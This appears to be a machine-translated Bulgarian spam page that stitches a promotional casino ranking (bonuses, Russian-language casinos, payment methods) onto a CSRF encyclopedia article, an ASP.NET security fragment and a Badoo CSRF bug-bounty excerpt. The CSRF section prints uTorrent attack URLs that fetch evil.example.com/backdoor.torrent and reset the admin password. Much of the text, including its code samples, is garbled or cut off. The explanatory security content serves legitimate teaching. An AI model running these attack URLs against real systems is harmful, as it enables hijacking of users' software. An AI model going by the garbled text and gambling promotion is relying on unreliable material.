Какво е csrf стойност. Какво е CSRF? Значението на термина CSRF

Намирането на надеждни и честни онлайн казина отнема много свободно време, особено когато става въпрос за начинаещи. Необходимо е да се оцени прозрачността на игралния клуб, неговата репутация в мрежата, прегледите на други потребители, скоростта на плащанията и много други фактори на дейност. За да спасим играчите от тази съдба, сме съставилирейтинг на казиното , които са били напълно тествани и са потвърдили собствената си честност и добра възвръщаемост на слот машините.

Нашата класация на най -добрите казина

Вече не е необходимо да отделяте лично време за проверка на надеждността на институцията. Опитни анализатори на хазарт, които прекарват десетки часове в казина всеки месец, са направили своя собствена обективна оценка на работата на клубовете за хазарт. Те анализираха стотици заведения, за да предлагат на потребителите най -добрите платформи в Интернет.

Първоначалният списък с клубове беше доста голям, но по време на анализа съмнителните и ненадеждни заведения изчезнаха. Например наличието на фалшив лиценз, липса на сертификати за слотове, подмяна на сървър в слот машина и много други служат като предупреждение за експертите. Дори един фактор, който ви позволява да се съмнявате в честността на казиното, е причина за изключване от рейтинга.

В допълнение към повърхностния анализ на хазартните платформи, се проверява и информация за заведения в Интернет. В анализа се вземат предвид онлайн репутацията, прегледите на настоящи и бивши играчи, наличието на конфликтни ситуации, скандали с казина и начини за решаване на проблеми от създателите. Особено внимание се обръща на млади клубове с трудов стаж до 1-2 години.

Как се съставя рейтингът на казиното и кой влиза там?

За създаване рейтинг на лицензирани казинапривличаме опитни комарджии и анализатори с над 10 години опит в индустрията. Благодарение на знанията си, те лесно могат да премахнат измамни клубове и след това да извършат задълбочен анализ на останалите заведения. Резултатът е малък списък с надеждни казина, където можете спокойно да играете, без да се страхувате за честността на резултатите и изплащанията.

  • наличието на лиценз от регулатора на хазарта и избраната юрисдикция за регистрация;
  • сигурност на платформата, която гарантира поверителността на данните и платежната информация;
  • избор на лицензиран софтуер от надеждни доставчици, в чиято работа е невъзможно да се намеси;
  • наличност на руска езикова версия за по-голямо удобство на потребителите от Русия и страните от ОНД;
  • услуга за поддръжка, включително графика на нейната работа, бързината на отговорите, качеството на решаване на проблеми;
  • теглене на пари без допълнителни забавяния или проверки, както и опции за получаване на пари и скоростта на обработка на транзакции;
  • бонус програми за нови и редовни потребители, наличие на турнири, лотарии, периодични промоции;
  • платежни системи, които засягат удобството на клиентите да попълват сметка и да теглят печалби.

Това е само малък списък от реални изисквания, които се оценяват от експерти. Всеки критерий получава свой собствен фактор на важност, който се взема предвид при обобщаването на крайния резултат.

Какво е лицензирано казино?

Рейтинг на казино , свидетелстващи за честността и прозрачността на работата на хазартните платформи, може да се състои изключително от заведения с валидни лицензи за дейност. От юридическите клубове се изисква да преминат регулаторни одити и да спазват всички разпоредби, за да получат одобрение.

Самото споменаване на лиценз в сайта не е достатъчно. Експертите разбират, че измамниците могат да използват лога, за да заблудят наивните потребители, затова те независимо анализират информацията. За да направите това, отидете на официалния уебсайт на регулатора и потвърдете информацията, като използвате номера на документа или името на юридическото лице. Ако няма информация за лиценз, това е фалшиво.

Анализаторите използват и технически анализ за проверка на лицензиран софтуер. Използвайки инструменти за разработчици, те получават достъп до информация за сървъра за пренос на данни. Ако казиното използва официалния портал на доставчика на софтуер, софтуерът е справедлив и законен. Това означава, че не можете да се намесвате в работата му и да коригирате крайните резултати.

Как се определя справедливостта на казиното?

Доста е трудно независимо да се оцени честността на игралния клуб, която е свързана с количеството налични ресурси и знания. Преди включването на заведения вчестен рейтинг на казиното, анализаторите извършват щателна проверка на много фактори:

  • регионите, от които са взети играчите, тъй като забранените юрисдикции говорят много;
  • лимити за теглене, ограничаващи еднократните транзакции, както и дневния, седмичния и месечния размер на транзакциите;
  • наличие на информация за KYC и AML, която показва съответствие с изискванията на законодателството относно честността и законността на произхода на парите;
  • репутация, потвърждаваща честността и надеждността на клуба и липсата на грандиозни скандали или проблеми;
  • продължителността на работа, която ви позволява да оцените изцяло историята на онлайн ресурса, включително всички предимства и недостатъци;
  • наличието на регулатор и спазването на неговите правила, което увеличава шансовете за справедливост на дейността.

Лицензът и регулаторът са доста важни критерии, но това не дава 100% гаранция за честност. Само клубове, които позволяват на играчите да печелят големи печалби и джакпоти, дават подаръци за лотарии и турнири, могат да разчитат на такова заглавие.

Разновидности на слот машини

Броят на слотовете, машините и други видове хазартни забавления казва много за институцията. Някои клубове си сътрудничат само с няколко доставчици на софтуер, но получават популярни и нови оферти за игри от тях, докато други разширяват мрежата си от споразумения за партньорство и канят огромен брой марки да си сътрудничат. Колкото повече машини са представени на игралната платформа, толкова по -лесно е клиентът да избере слота, който харесва.

Но рейтинг на лицензирани казинавзема предвид не само разнообразието от игри, но и тяхното качество. Надеждните хазартни заведения използват изключително лицензиран софтуер, който е тестван за честност и безопасност. Такива машини ви позволяват да разчитате на възвръщаемост до 98%и не можете да се намесвате в тяхната работа и да ощипвате алгоритъма за генериране на резултати.

Честно казано, всички сайтове са насочени към печалба. Дори ако един от играчите спечели джакпота, в дългосрочен план институцията остава на черно. Но само честните клубове позволяват на потребителите да получат голям джакпот и да го изтеглят в реална сметка. Това отличава лицензираните онлайн казина от измамни проекти.

Бонус политика

Създайте рейтинг на казино невъзможно е без да се вземе предвид бонусната политика. Всички игрални клубове използват промоции и подаръци за привличане на нови и задържане на съществуващи клиенти. Но някои от заведенията действат доста хитро, създавайки скрити условия за залагания или начисления, поставяйки нереалистични условия за залагане в диапазона от x60-100, които са почти невъзможни за изпълнение.

Стандартният набор от стимули се състои от следните категории:

  1. Бездепозитен бонус за посрещане на нови клиенти - кредитиран за потвърждаване на имейл адрес и телефонен номер. Безплатни пари или безплатни завъртания на слот машини със задължително изискване за залагане се използват като награда.
  2. Подарък за регистрация - безплатни завъртания или множители на сумата за попълване на сметката за 1-5 депозита от момента на създаване на личен профил. Точният размер на бонуса и максималните лимити се определят индивидуално от всеки клуб.
  3. Програма за лоялност - различни системи от потребителски статуси, които влияят върху размера на седмичното връщане на сумата, наличието на лични условия на услугата, индивидуални подаръци, благоприятен курс на местна валута за пари и много други.
  4. Промоционалните кодове са периодични промоции от хазартни клубове, които раздават сертификати за подаръци за безплатни завъртания, без депозит или множители на сметки за всички.

Рускоезични казина

Гримиране рейтинг на най -добрите казина през 2020 г., присъствието на руския език в платформата се взема предвид. Интерфейсът на руски език позволява на потребителите от Русия, Беларус, Украйна и страните от ОНД да се справят лесно с регистрацията, влизането, попълването на акаунта и други функции на платформата. Той също така потвърждава, че институцията е фокусирана върху рускоезичните потребители, като им предлага уникални бонуси и поддръжка.

Работата на услугата за поддръжка се взема предвид. Повечето хазартни клубове предоставят помощ на клиентите изключително на английски език, което усложнява процеса на комуникация. Трябва да използвате преводач или да се свържете с знаещи хора, за да съставите заявка и да разберете отговора на поддръжката. Следователно рейтингът включва само тези онлайн клубове, които съветват клиентите в чатове за поддръжка и по телефона на руски.

Интерфейсът на руски език в казиното ще ви позволи лесно да разберете потребителските правила на платформата, да изучите бонус офертите и характеристиките на техните начисления, да залагате, да участвате в турнири и лотарии без никакви съмнения относно правилността на действията.

Бързи парични казина

Особено внимание се обръща на скоростта на плащане в онлайн казината. Някои клубове предлагат теглене на банкови карти и електронни портфейли в рамките на няколко часа, а за VIP клиенти те обработват заявки незабавно. Други използват ръчна обработка на заявления в работни дни по специален график, така че плащанията могат да се забавят до 1-3 работни дни от датата на подаване на заявлението. Създаден, за да спаси потребителите от дълго време на изчакванерейтинг на казино с бързо теглене.

Състои се изключително от онези институции, които незабавно преглеждат всички заявления и не създават пречки за получаване на пари. Взема се предвид не само скоростта на преводите, но и липсата на проблеми при искане на големи плащания или парични преводи след спечелване на джакпот, голям джакпот. Само честните предприятия могат да гарантират честни плащания и никакви проблеми с плащанията.

Той също така анализира наличните платежни системи за депозити и искане на пари. Стандартните сайтове поддържат минимален брой начини, но прогресивните клубове постоянно анализират тенденциите, за да интегрират нови технически решения.

Основните системи за плащане в онлайн казина:

  • банкови карти MIR, MasterCard, Visa;
  • електронни портфейли QIWI, Yandex, Webmoney, Neteller, Skrill и други;
  • мобилни плащания Beeline, MegaFon, MTS, TELE2;
  • Руско интернет банкиране;
  • популярни криптовалути, включително Bitcoin, Ethereum, Litecoin.

Услуга за поддръжка на клиенти

Важен фактор, който беше взет предвид, за да се създадечестен рейтинг на казиното- наличието на поддръжка на клиенти и качеството на нейната работа. Надеждните заведения се грижат за собствената си клиентска база, затова организират специални телефонни линии, както и онлайн чатове, за да отговорят своевременно на въпросите на потребителите и да разрешат проблемите им.

Анализаторите използваха телефонни линии, чатове на живо и имейл контакти, за да анализират поддръжката. По различно време на деня служителите на сайта получават различни въпроси или искания за справяне с технически проблеми. След това беше оценено качеството на тяхната работа, което включваше следните фактори:

  • скоростта на предоставяне на отговори;
  • дали консултантът решава проблема и колко време е отнело;
  • грамотност на отговорите и наличието на рускоезични служители в подкрепа.

Ако казиното няма рускоезични оператори, препоръчваме да използвате онлайн преводач от Google за превод на въпроси и отговори от консултанти.

изводи

Преди да се регистрирате в онлайн клуб, трябва да анализирате надеждността, прозрачността на работата му, както и да проверите репутацията и отзивите в мрежата. Вместо това предлагаме да използватечестен рейтинг на казинотосъставен от опитни комарджии. Чрез собствен опит те отхвърлиха десетки подозрителни хазартни клубове, оставяйки списъка с най -добрите заведения за 2020 г. в списъка.

Искане за фалшифициране на различни сайтовесъщо известен като атака с едно щракванеили шофьорска сесияи съкратено CSRF(понякога се произнася приливен отвор) или XSRF, е вид злонамерен софтуер, експлоатиран от уебсайт, където неоторизирани команди се изпращат от потребителя, на който уеб приложението се доверява. Има много начини, по които зловредният уебсайт може да предава такива команди; специално създадени маркери за изображения, скрити форми и JavaScript XMLHttpRequests, например, всички могат да работят без взаимодействие с потребителя или дори знание. За разлика от междусайтовия скрипт (XSS), който използва доверието, което потребителят има към конкретен сайт, CSRF използва доверието, което даден сайт има в браузъра на потребителя.

история

CSRF уязвимостите са известни и се използват в някои случаи от 2001 г. Тъй като IP адресът се предоставя от потребителя, някои регистрационни файлове на уебсайтове може да нямат CSRF доказателство. Поне публично се съобщава за подвизи, а към 2007 г. имаше няколко добре документирани примера:

  • Уебсайтът на Netflix през 2006 г. имаше многобройни уязвимости в CSRF, които биха могли да позволят на нападател да извърши действия, като например добавяне на DVD към опашката за отдаване под наем на жертвата, промяна на адреса за доставка в акаунт или промяна на идентификационните данни за вход на жертвата, за да компрометира напълно акаунта.
  • Уеб приложението за онлайн банкиране ING Direct беше уязвимо за CSRF атаки, което позволяваше незаконни парични преводи.
  • Популярният уебсайт за видео YouTube също беше уязвим за CSRF през 2008 г. и това позволи на всеки нападател да извърши практически всички действия на всеки потребител.
  • McAfee също е уязвим за CSRF, което позволява на нападателите да променят фирмената си система.

През 2018 г. бяха извършени нови атаки срещу уеб устройства, включително опити за промяна на DNS настройките на рутери. Няколко производители на рутери набързо пуснаха актуализация на фърмуера, за да подобрят сигурността, и посъветваха потребителя да промени настройките на рутера, за да намали риска. Подробности не са публикувани, като се позовават на "очевидни причини за сигурност".

Пример и характеристики

Нападателите, които могат да намерят възпроизводима връзка, която изпълнява определено действие на целевата страница, докато жертвата се регистрира, могат да вградят такава връзка в страницата, която контролират, и да подмамят жертвата да я отвори. Връзката на носителя на атака може да бъде поставена на място, което жертвата е най -вероятно да посети, като влезе в целевия сайт (например дискусия във форума), или да бъде изпратена в HTML имейл или прикачен файл. Истинската уязвимост на CSRF в Utorrent (CVE-2008-6586) използва факта, че нейната уеб конзола е достъпна на локалния хост: 8080 позволява извършването на критични действия с проста GET заявка:

Принудително изтегляне на .torrent файл http: // local: 8080 / GUI / action = add url & s = http: //evil.example.com/backdoor.torrent Промяна на администраторска парола на Utorrent HTTP: // local: 8080 / gui / action = setsetting & s = webui.password & v = eviladmin

Атаките бяха стартирани чрез публикуване на злонамерени, автоматични елементи на HTML изображение във форуми и спам на имейли, така че браузърите, които посещават тези страници, да ги отварят автоматично без много действия на потребителя. Хората, които изпълняват уязвимата версия на Utorrent, като в същото време отварят тези страници, са уязвими за атаката.

CSRF атаките с помощта на маркери за изображения често се извършват от онлайн форуми, където потребителите могат да публикуват изображения, но не и JavaScript, например с помощта на BBCode:

Http: // localhost: 8080 /gui /? Action = add-url & s = http: //evil.example.com/backdoor.torrent

При достъп до връзка за атака в локално приложение Utorrent на localhost: 8080, браузърът също винаги автоматично ще изпраща всички съществуващи бисквитки за този домейн. Това общо свойство на уеб браузърите позволява на CSRF атаките да използват целевите си уязвимости и да извършват враждебни действия, стига потребителят да е влязъл в целевия уебсайт (в този пример локалния уеб интерфейс на Utorrent) по време на атаката.

Искането за фалшифициране между сайтове е объркана прокси атака срещу уеб браузър.

CSRF обикновено има следните характеристики:

  • Тя включва сайтове, които разчитат на самоличността на потребителя.
  • Той използва доверието на сайта в тази идентичност.
  • Той подвежда браузъра на потребителя да изпраща HTTP заявки до целевия сайт.
  • Той включва HTTP заявки, които имат странични ефекти.

HTTP глаголи и CSRF

  • В HTTP GET, експлоатацията на CSRF е тривиална, като се използват описаните по -горе техники, като например проста хипервръзка, съдържаща манипулирани параметри и автоматично зареждана с помощта на IMG тага. Според HTTP спецификацията обаче GET трябва да се използва като безопасен метод, тоест без съществено промяна на състоянието на потребителя в приложението. Приложенията, които използват GET за такива операции, трябва да преминат към HTTP POST или да използват CSRF защита.
  • HTTP POST има различни уязвимости към CSRF, в зависимост от подробните сценарии за използване:
    • В най-простата си форма, POST с данни, кодирани като заявка (поле1 = стойност1 & поле2 = стойност2) CSRF атаките се изпълняват лесно с помощта на проста HTML форма и трябва да се прилагат мерки срещу CSRF.
    • Ако данните се изпращат в друг формат (JSON, XML), стандартният метод е да се подаде POST заявка с помощта на XMLHttpRequest с CSRF атаки, предотвратени от SOP и; има метод за изпращане на произволно съдържание от проста HTML форма, използвайки атрибута ENCTYPE; такава фалшива заявка може да се разграничи от легитимната по текстовия / обикновен тип съдържание, но ако не се изпълни на сървъра, може да се извърши CSRF
  • други HTTP методи (PUT, DELETE и т.н.) могат да бъдат издадени само с помощта на XMLHttpRequest с предотвратяване на SOP и CSRF; Тези мерки обаче няма да бъдат активни на уебсайтове, които изрично ги деактивират с помощта на Access-Control-Allow-Origin: * заглавка

Други подходи към CSRF

В допълнение, макар че обикновено се описва като статичен тип атака, CSRF може също така да бъде динамично изграден като част от полезния товар за сценарии за атака между сайтове, както е показано от червея Samy, или да бъде изграден в движение от информацията за сесията, изтекла през off- съдържание на сайта. и изпратено до целта като злонамерен URL адрес. CSRF жетоните могат да бъдат изпращани и от клиент на нападател поради фиксиране на сесия или други уязвимости, или да бъдат предположени чрез атака с груба сила, преведена в злонамерена страница, която генерира хиляди неуспешни заявки. Класът на атака „Dynamic CSRF“ или използване на полезния товар на всеки клиент за конкретна сесия на фалшифициране е описан през 2009 г. от Nathan Hamiel и Sean Moyer на брифингите на BlackHat, въпреки че таксономията все още се прилага по -широко.

Нов вектор за изготвяне на динамични CSRF атаки беше представен от Орен Офер на местната среща на главата на OWASP през януари 2012 г. - „AJAX Hammer - Dynamic CSRF“.

Ефекти

Публикувани са показатели за сериозност за уязвимости в CSRF, които водят до отдалечено изпълнение на код с права на суперпотребител, както и уязвимост, която може да компрометира коренния сертификат, който напълно да подкопае инфраструктурата на публичния ключ.

Ограничения

Трябва да се случат няколко неща, за да бъде успешна заявката за измама на различни сайтове:

  1. Нападателят трябва да се насочи или към сайт, който не валидира заглавката на препращащия, или към жертвата, използвайки браузър, или към плъгин, който позволява на Referer измама.
  2. Нападателят трябва да намери формуляр за подаване на целевия сайт или URL адрес, който има странични ефекти, прави нещо (например прехвърля пари или променя имейл адреса или паролата на жертвата).
  3. Нападателят трябва да определи правилните стойности за всички формуляри или URL адреси; ако някое от тях се предполага, че са тайни стойности за идентификация или идентификатори, които нападателят няма да може да познае, атаката най -вероятно няма да може (освен ако нападателят няма голям късмет да ги познае).
  4. Нападателят трябва да примами жертвата в уеб страница със злонамерен код, докато жертвата се регистрира на целевия сайт.

Атаката е сляпа: Нападателят не може да види какво целевият сайт изпраща обратно на жертвата в отговор на подправени заявки, освен ако те не използват скриптове между сайтове или друга грешка на целевия сайт. В допълнение, атакуващият може да насочва към всяка връзка или да изпраща формуляри, които идват след първоначалната подправена заявка, ако тези последващи връзки или формуляри са предвидими по подобен начин. (Множество цели могат да бъдат моделирани чрез включване на множество изображения на страница или използване на JavaScript за въвеждане на закъснение между кликванията.)

Предвид тези ограничения, нападателят може да има затруднения да намери анонимното или уязвимо подание на жертвата. От друга страна, опитите за атака се сглобяват лесно и са невидими за жертвите, а разработчиците на приложения са по -малко познати и подготвени за CS атаки, отколкото, да речем, за пробиване на пароли от речникови атаки.

предотвратяване

Повечето техники за предотвратяване на CSRF работят чрез инжектиране на допълнителни данни за удостоверяване в заявките, което позволява на уеб приложението да открива заявки от неоторизирани места.

Модел на маркер на синхронизатор

  • Когато сте влезли, уеб приложението задава бисквитка, съдържаща произволен знак, който остава непроменен през цялата сесия на потребителя
Set-Cookie: Csrf-token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; изтича = чет, 23-юли-2015 10:25:33 GMT; Макс-възраст = 31449600; Път = /
  • JavaScript работи от страна на клиента, чете стойността и я копира в персонализираната HTTP заглавка, изпратена с всяка транзакционна заявка
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Сървърът проверява наличието и целостта на символите

Безопасността на този метод се основава на предположението, че само JavaScript, работещ в същия източник, ще може да прочете значението на бисквитката. JavaScript работи с фалшив файл или имейл няма да може да чете и копира в персонализирана заглавка. Въпреки че CSRF жетонът бисквиткище бъде автоматично изпратен от измамната заявка, сървърът все още ще очаква валиден X-CSRF маркер заглавие .

Самият CSRF токен трябва да бъде уникален и непредсказуем. Тя може да бъде генерирана на случаен принцип или може да бъде извлечена от жетони на сесия с помощта на HMAC:

Csrf_token = HMAC (сесия_токен, приложение_секрет)

Маркерът за бисквитки CS не трябва да има флаг HTTPOnly, тъй като е предназначен да се чете с помощта на JavaScript дизайн.

Тази техника се прилага от много съвременни рамки като Django и AngularJS. Тъй като токенът остава постоянен през цялата сесия на потребителя, той работи добре с AJAX приложения, но не предоставя последователност от събития в уеб приложенията.

Защитата, осигурена от този метод, може да бъде компрометирана, ако целевият уебсайт изключванейната политика със същия произход, използвайки един от следните методи:

  • Разрешителен Access-Control-Allow-Origin заглавка (със звездичка за аргумент)
  • clientaccesspolicy.xml файл, предоставящ непреднамерен достъп до контролата Silverlight
  • crossdomain.xml файл, осигуряващ непреднамерен достъп до Flash филми

Бисквитка за двойно изпращане

Подобно на подхода „cookie-to-header“, но без включен JavaScript, сайтът може да зададе CSRF токена като „бисквитка“ и също така да го вмъкне в скрито поле във всяка HTML форма, изпратена от клиента. Когато формулярът бъде изпратен, сайтът може да провери дали маркерът за бисквитки съответства на формата на маркерите. Общата политика за произход не позволява на нападателя да чете или задава бисквитки в целевия домейн, така че те не могат да предоставят правилния знак в генерираната си форма.

Предимството на този метод пред шаблона за синхронизиране е, че токенът не трябва да се съхранява на сървъра.

Гаранции на клиента

Разширенията на браузъра като RequestPolicy (за Mozilla Firefox) или Umatrix (за Firefox и Google Chrome / Chromium) могат да предотвратят CSRF, като предоставят политика за отказ по подразбиране за заявки на различни сайтове. Това обаче може значително да попречи на нормалната работа на много сайтове. Разширението CsFire (също и за Firefox) може да смекчи въздействието на CSRF с по-малко въздействие върху редовното сърфиране, като премахне информацията за удостоверяване от заявки на различни сайтове.

ASP.NET MVC не е най -популярният, но доста популярен стек сред уеб разработчиците. От гледна точка на (анти) хакера, стандартната му функционалност ви осигурява известна сигурност, но е необходима допълнителна защита, за да се предпазите от по -голямата част от хакерските трикове. В тази статия ще разгледаме основите, които разработчикът на ASP.NET (било то Core, MVC, MVC Razor или Web Forms) трябва да знае за сигурността.

Нека започнем с всички известни видове атаки.

SQL инжектиране

Колкото и да е странно, но през 2017 г. инжектирането и по-специално SQL инжектирането са на първо място сред „Топ 10 на рисковете за сигурността на OWASP“ (Open Project Application Security Project). Този тип атака предполага, че въведените от потребителя данни се използват от страна на сървъра като параметри на заявката.

Примерът за класическо SQL инжектиране е по -типичен за приложенията на Web Forms. Използването на параметри като стойности на заявка помага за защита срещу атаки:

String commandText = "UPDATE Users SET SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand команда = нов SqlCommand (commandText, connectionString); command.Parameters ["@ ID"]. Стойност = customerID;

Ако разработвате приложение за MVC, тогава Entity Framework покрива някои уязвимости. За да получите SQL инжекция, която работи в приложение MVC / EF, трябва да измислите. Това обаче е възможно, ако изпълнявате SQL с помощта на ExecuteQuery или извиквате лошо написани съхранени процедури.

Въпреки че ORM избягва инжектирането на SQL (с изключение на горните примери), се препоръчва да ограничите атрибутите до стойностите, които полетата на модела и следователно форми могат да приемат. Например, ако се предполага, че само текст може да бъде въведен в поле, използвайте Regex, за да посочите диапазона ^ + $. И ако в полето трябва да бъдат въведени числа, посочете това като изискване:

Публичен низ Zip (get; set;)

В уеб формулярите можете да ограничите стойностите с помощта на валидатори. Пример:

Тъй като .NET 4.5 уеб формуляри използват ненатрапчива проверка. Това означава, че не е необходимо да пишете допълнителен код, за да потвърдите стойността на формуляра.

По-специално валидирането на данни може да помогне за защита срещу друга добре известна уязвимост, наречена междусайтови скриптове (XSS).

XSS

Типичен пример за XSS е добавянето на скрипт към коментар или запис в книга за гости. Тя може да изглежда така:

Както можете да си представите, в този пример бисквитките от вашия сайт се предават като параметър на някакъв хакерски ресурс.

В уеб формулярите можете да направите грешка с код като този:

съжалявам<%= username %>но паролата е грешна

Ясно е, че вместо потребителско име може да има скрипт. За да избегнете изпълнението на скрипта, можете поне да използвате друг израз на ASP.NET: който кодира съдържанието му.

Ако използваме Razor, тогава низовете се кодират автоматично, което минимизира възможността за внедряване на XSS - хакерът ще може да го манипулира само ако направите груба грешка, например използвате @ Html.Raw (Model.username) или използвайте MvcHtmlString вместо низ във вашия модел.

За допълнителна защита срещу XSS, данните също са кодирани в C # код. В NET Core можете да използвате следните кодери от пространството на имената System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder.

Следният пример ще върне низ 6 7 8

По принцип, когато жертвата зареди страницата, те направиха заявка към скрипта на Badoo, взеха параметъра rt за този потребител и след това направиха заявката от името на жертвата. В този случай той свързва акаунта на Махмуд с акаунта на жертвата, което позволява пълно поемане на акаунта.

изводи

Там, където има дим, има и огън. Тук Махмуд забеляза, че параметърът rt е върнат на различни места, в специфични json отговори. Така че той правилно предположи, че може да бъде показан някъде, където може да се използва в този случай в js файл.

Резултати

CSRF атаките представляват друг опасен вектор за атаки и могат да се извършват без активни действия от страна на жертвата или без никакво уведомление. Намирането на уязвимости по CSRF изисква известна изобретателност и отново готовност да се тества всичко.

Обикновено формулярите се защитават по подразбиране с рамки като Rails, ако сайтът прави POST заявка, но API могат

бъде отделна история. Например Shopify е написан предимно на базата на Ruby on Rails, която осигурява CSRF защита за всички форми по подразбиране (въпреки че може да бъде деактивирана). Ясно е обаче, че това не е задължително случаят с API, изградени с тази рамка. И накрая, обърнете внимание на обажданията, които променят данните на сървъра (например действие за изтриване) и се извършват с помощта на GET заявка.